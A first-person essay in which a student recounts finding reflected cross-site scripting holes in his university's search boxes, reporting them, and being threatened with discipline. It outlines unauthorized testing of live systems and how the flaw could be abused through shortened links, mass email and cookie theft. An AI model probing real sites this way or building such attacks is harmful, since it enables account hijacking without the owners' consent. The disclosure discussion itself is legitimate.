Curiosity Killed the Cat
by Gregory Porter (greg.e.porter@gmail.com)
There has been a lot of discussion about "responsible disclosure." When one finds a vulnerability in a system, what is the most effective and safe way of fixing it? Based on my experience at school, it seems to depend on the nature of the system itself.
I am a student at an American university. I also work in their tech support service; it's kinda like Geek Squad but for students living in the dorms. I'd imagine that the security of a big school like mine can be expected in any comparable academic institution (or corporation, more like it).
I heard from a friend that the school's website was insecure, but he didn't go into too much detail. Logging into the main student "portal" as it's called, I tried to think of possible vulnerabilities. Search boxes are always nice, right?
I had heard about Cross-Site Scripting (XSS) but knew very little about it. Now, I didn't want to do any sort of skulduggery, but more of a proof-of-concept type of thing. So I had to make sure I knew exactly what I was doing. I didn't want to think about what would happen if I ran a pseudo-random script and it crashed the university's system.
I Yandexed for tutorials and ha.ckers.org/xss.html was the first hit. The first example script displays an alert box saying "XSS" and nothing more. One could put this into a text field or, in this case, a search box. If the alert box comes up, then the site must be processing the text without sanitizing it.
The first search box I tried - one on the housing site - was vulnerable! Excited as I was, this wasn't much of a threat to a client. A villain must be logged into the site and manually enter the script. No matter.
I contacted my supervisor who forwarded the message to his supervisor who then forwarded it to the woman in charge of the housing site. About a month went by before I was contacted by the administrator.
In this time, I found another vulnerable box: the main search box in the student portal.
This was a clear danger. The site encodes the query into Unicode, sends it as a GET request, and displays the query on the resultant page! This would mean a villain could write a script, encode it, hide it with TinyURL, and send out mass emails. It gets better. I sent a link to a non-student friend a couple of states away and the script ran successfully! Even though the box was in the student site, the search box could still be accessed via a direct link.
So I spoke to the housing admin on the phone. The conversation was curious.
The admin wasn't really familiar with this type of vulnerability. As I explained how it worked and what I did, she followed me step-by-step all the way down to running the script from her machine! I had only included a portion of it in our emails, so I sent her the full version.
What if I had made a new script which stole cookies in addition to the alert box? She would have been none the wiser. Well, fortunately for her anyway, it didn't occur to me at the time (not that I would have really wanted to do that anyway).
It turns out that she was the administrator only to that site. The computing department administers most other sites for the university. She said she would contact the appropriate people for me. A few months went by and I heard nothing. The portal was still vulnerable while the housing search box was taken down.
A friend of mine, with whom I shared this information, had to give a presentation to faculty and representatives of the university about his research project. He examined the significance of cyber attacks throughout the life of the Internet. He asked me if he could use my experience as an example of the prevalence of dangerous vulnerabilities. I didn't think anything of it.
It turns out that one man in attendance was from the computing department. When that tidbit of info was revealed, he pulled out a pad of paper, took notes, listened intently, and even asked my friend for further information afterwards. Weeks passed by and then I was contacted by the security team lead of the computing department. He informed me that I had been flagged for trying to "attack" the university network.
They included a sample of the log file for extra proof:
"hackers" was in a log file, so clearly I must be a villain. That String.fromCharCode(60,51,32,71) didn't minimize the likelihood of me as a threat.
I met with them. Quite a tense meeting.
Instead of thanking me for reporting the issue, I was chastised for testing the site for such vulnerabilities. They said, "It's like opening every door in a building to see which ones are locked." I didn't know that was bad, too.
They never mentioned the presentation nor did I expect it. They also employed different sorts of scare tactics. When I mentioned the housing admin, they informed me that a "red light went off at the network operation center" flagging both myself and the admin. I didn't want to open a can of worms by saying that I had been testing this for a month or two before that. They also told me that their system is connected to the FBI too, so I was on a fine line between a little trouble and a lot of trouble.
Once again, I didn't feel it right to openly question this scenario; the queries are probably logged, but these files are never read or checked. I left the meeting with a bad taste in my mouth but, I told myself, it was for the greater good (and perhaps my resume) and it will at least be fixed.
So another few months went by and I was contacted by my supervisor and his supervisor. They updated me on the situation (which wasn't over, apparently).
Because I was a good, hard worker, they spoke on my behalf to the security team. The student computing policy was vague enough for me to be safe. I didn't realize it, but I would have most certainly lost my job, potentially faced expulsion and, being a publicly funded university, "felony" was being thrown around!
I had known both of them for a while, so I was more open in arguing my case. After all, I reported it as clearly and safely as I could. My error, according to them, was to try the vulnerability again after finding it in the first place. I should have made a "ticket" in the help desk system which, I might add, is only accessible to some of the employees of the computing department and the help desk. Once the ticket is submitted, my business is done.
I cannot find out the status of it or try it again. What a number of hoops to jump through! To top it off, the vulnerability was not fixed. After months and months of trying, a little line or two of code to sanitize the input was not included in the site.
A friend finally spoke to a computer science professor about this and had it fixed.
There are a number of things to take from my experience. Talk to the right people who have the loudest voices. Make sure you know exactly what you are doing. Document everything. Even though you might be trying to help, it won't be acknowledged as such.